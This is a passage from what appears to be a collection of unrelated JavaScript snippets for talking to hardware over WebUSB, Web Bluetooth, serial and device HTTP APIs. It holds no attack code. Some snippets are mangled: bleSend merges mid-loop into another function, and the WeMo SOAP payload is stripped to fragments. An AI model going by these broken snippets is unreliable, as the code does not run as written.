onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device = deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","async function findUSBDevice(event) {\n // STEP 1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function getdevice (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\n webphone_api.plhandler.GetDevice(dev, callback);\n }\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1 \" + \n \" \" + \n \" \" + \n \" \"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
\" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n return error\n }\n }\n }\n return result\n}","getHardware (cb) {\n\t\tvar self = this\n\n\t\tif (!this.started)\n\t\t{\n\t\t\treturn cb('Connection to MD-DM not started')\n\t\t}\n\n\t\tif (!this.device.connected)\n\t\t{\n\t\t\treturn cb('Not currently connected to MD-DM')\n\t\t}\n\n\t\tthis._connection.exec('SHOWHW', function (err, response) {\n\t\t\tself._logger.verbose(`SHOWHW response: ${response}`)\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tcb(err, TelnetOutputParser.parseHardware(response))\n\t\t\t}\n\t\t\tcatch (e)\n\t\t\t{\n\t\t\t\tself._logger.warn(`Failed to parse response: ${response}`)\n\t\t\t\tcb(`Failed to parse response: ${e} / ${e.stack}`)\n\t\t\t}\n\t\t})\n\t}","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","async getBatteryLevel() {\n const outputReportID = 0x01;\n const subCommand = [0x50];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subCommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onBatteryLevel = ({ detail: batteryLevel }) => {\n this.removeEventListener('batterylevel', onBatteryLevel);\n delete batteryLevel._raw;\n delete batteryLevel._hex;\n resolve(batteryLevel);\n };\n this.addEventListener('batterylevel', onBatteryLevel);\n });\n }","async getDeviceDetails() {\n return this.digestClient\n .fetch(\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\n )\n .then((r) => r.text())\n .then((text) => {\n const deviceDetails = text\n .trim()\n .split('\\n')\n .reduce((obj, str) => {\n const [key, val] = str.split('=');\n obj[key] = val.trim();\n return obj;\n }, {});\n return deviceDetails;\n });\n }","async function readComms() {\n await transferByte(0x99);\n let readLen = await transferByte(0x00);\n if (readLen) {\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\n for(let ri = 0; ri < readLen; ri++) {\n let rx = await transferByte(0x00);\n rxBuff[ri] = rx;\n }\n return rxBuff;\n }\n return null;\n}","get_card_id_ex() {\n return new Promise((resolve, reject) => {\n\n let on_frame = (frame) => {\n // remove_listener();//remove to resever for next time \n switch (frame.type) {\n case CODE.ERR_HEADER: /* No card */\n\n let err_code = frame.buffer[1];\n if (err_code == CODE.NO_CARD) {\n resolve({ is_available: false, uid_len: 0, uid: '' });\n } else {\n reject(frame);\n }\n break;\n case CODE.RESPONSE_HEADER:/*have card */\n let uid_len = frame.buffer[5];\n let resp = {\n is_available: true\n };\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\n let uid_buffer = new Buffer.alloc(uid_len);\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\n resp.uid_len = uid_len;\n resp.uid = util.to_hex_string(uid_buffer);\n resolve(resp);\n }\n else {\n reject('invalid resp');\n }\n break;\n default:\n reject('invalid resp');\n break;\n }\n };\n this.once('frame', on_frame);//onetime fire\n\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\n this.send_command(\"55 2C AA 00 00 00 DA\");\n });\n }","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; i> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function _htob (hex) {\n if (hex) {\n if (typeof hex !== 'string') {\n throw new TypeError('Expected input to be a string')\n }\n\n if ((hex.length % 2) !== 0) {\n throw new RangeError('Expected string to be an even number of characters')\n }\n\n var view = new Uint8Array(hex.length / 2)\n\n for (var i = 0; i < hex.length; i += 2) {\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\n }\n\n return view\n } else {\n return null;\n }\n}","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","function getDeviceCapability()\r\n{\r\n\txrxDeviceConfigGetDeviceCapabilities( \"http://127.0.0.1\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\r\n}","getStatus() {\n return new Promise((resolve, reject) => {\n // send hex code for getting the status of power,rgb,warm\n send(this.ip, hexToArray(\"81:8a:8b:96\"), (data, err) => {\n if (err)\n reject(err)\n else {\n if(data) {\n const status = [];\n for(let i = 0; i < data.length; i+=2){\n status.push(data[i].concat(data[i+1]))\n }\n const power = status[2] === \"23\" ? \"on\" : \"off\"\n \n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\n \n const warm = parseInt(status[9], 16)\n const out = {\"power\" : power, \"rgb\" : rgb, \"warm\" : warm}\n resolve(out)\n }\n }\n });\n })\n }","getDeviceID(): Promise {\n return HyperTrack.getDeviceID();\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","function arduinoTest() {\n return request;\n}","function read(){\n\t\t\t\n\t\t\tvar deferred = $q.defer();\n\t\t\tserial.read(\n\t\t\t\tfunction success(data){\n\t\t\t\t\tvar byteArray = new Uint8Array(data);\n\t\t\t\t\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\n\t\t\t\t},\n\t\t\t\tfunction error(){\n\t\t\t\t\tdeferred.reject(new Error());\n\t\t\t\t}\n\t\t\t);\n\t\t\t\n\t\t\treturn deferred.promise;\n\t\t\t\n\t\t}","function getCCDA(url,uid,callback){\n var options = {\n host: api_domain,\n path: url+'?api_key='+api_key+'&uid='+uid,\n port: api_port\n}\n//Get the bindaas api\nvar request = http.request(options, function (res) {\n var data = '';\n res.on('data', function (chunk) {\n data += chunk;\n });\n res.on('end', function () {\n callback(data);\n });\n });\n request.on('error', function (e) {\n console.log(e.message);\n console.log(\"please check that your bindaas API is succesfully set up\");\n });\n request.end();\n}","readHydrawiseStatus(){\n const cmd = hydrawise_url_status + \"api_key=\" + this.config.hydrawise_apikey;\n\n // execute only if apikey is defined in config page\n if (this.config.hydrawise_apikey!=undefined){\n this.log.info(\"send: \"+cmd);\n //request(cmd, function (error, response, body){\n request(cmd, (error, response, body) => {\n\n if (!error && response.statusCode == 200) {\n // parse JSON response from Hydrawise controller\n var obj = JSON.parse(body);\n // read device config\n hc6.nextpoll = parseInt(obj.nextpoll);\n hc6.time = parseInt(obj.time);\n hc6.message = obj.message;\n this.log.info(\"nextpoll=\"+hc6.nextpoll+\" time=\"+hc6.time+\" message=\"+hc6.message);\n \n // read all configured sensors\n for (let i=0; i<=1; i++){\n // if sensor is configured\n if (obj.sensors[i]!=null){\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\n // read all related relays\n for (let j=0; j<=5; j++){\n // if relay is configured\n if (obj.sensors[i].relays[j]!=null){\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\n }\n };\n }\n this.log.info(\"sensor\"+i+\": input=\"+hc6.sensors[i].input+\" type=\"+hc6.sensors[i].type+\n \" mode=\"+hc6.sensors[i].mode+ \" timer=\"+hc6.sensors[i].timer+\" offtimer=\"+hc6.sensors[i].offtimer+\n \" relay0=\"+hc6.sensors[i].relays[0]+\" relay1=\"+hc6.sensors[i].relays[1]+\" relay2=\"+hc6.sensors[i].relays[2]+\n \" relay3=\"+hc6.sensors[i].relays[3]+\" relay4=\"+hc6.sensors[i].relays[4]+\" relay5=\"+hc6.sensors[i].relays[5]);\n }\n\n // read all configured relays\n for (let i=0; i<=5; i++){\n if (obj.relays[i]!=null){\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\n hc6.relays[i].name = obj.relays[i].name;\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\n hc6.relays[i].type = parseInt(obj.relays[i].type);\n hc6.relays[i].time = parseInt(obj.relays[i].time);\n hc6.relays[i].run = parseInt(obj.relays[i].run);\n hc6.relays[i].period = parseInt(obj.relays[i].period);\n hc6.relays[i].timestr = obj.relays[i].timestr;\n }\n else{\n hc6.relays[i].relay_id = 0;\n hc6.relays[i].name = \"\";\n hc6.relays[i].relay = 0;\n hc6.relays[i].type = 0;\n hc6.relays[i].time = 0;\n hc6.relays[i].run = 0;\n hc6.relays[i].period = 0;\n hc6.relays[i].timestr = \"\";\n }\n this.log.info(\"relay\"+i+\": relay_id=\"+hc6.relays[i].relay_id+\" name=\"+hc6.relays[i].name+\n \" relay=\"+hc6.relays[i].relay+\" type=\"+hc6.relays[i].type+\" time=\"+hc6.relays[i].time+\n \" run=\"+hc6.relays[i].run+\" period=\"+hc6.relays[i].period+\" timestr=\"+hc6.relays[i].timestr);\n }\n }\n })\n }\n }","function getBufferRequest(opt, callback){\n\n\topt.host = \"cloud.cadexchanger.com\";\n\topt.protocol = \"https:\";\n\topt.path = \"/api/v1\" + opt.path;\n\n\tconst tmpFile = fs.createWriteStream(\"tmp.file\");\n\tconst req = https.get(opt, (res) => {\n\t\tres.pipe(tmpFile);\n\n\t\ttmpFile.on('finish', () => {\n\t\t\t//tmpFile.close();\n\t\t\tcallback(fs.readFileSync(\"tmp.file\"));\n\t\t\tfs.unlink(\"tmp.file\", ()=>{});\n\t\t});\n\t});\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function getDevicePromise(device) {\n return fetch(\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\n )\n .then(res => res.text())\n .then(text => {\n return text;\n })\n .then(parseDeviceIndex);\n}","function decode()\n{\n\tget_ui_vals();\n\n\n\tif (typeof hex_opt === 'undefined')\n\t{\n\t\thex_opt = 0;\n\t}\n\n\n\n\tif (rate == 0)\n\t{\n\t\treturn;\n\t}\n\n\tspb = sample_rate / rate; \t\t// Calculate the number of Samples Per Bit.\n\n\ttry\n\t{\n\t\tspb_hs = sample_rate / 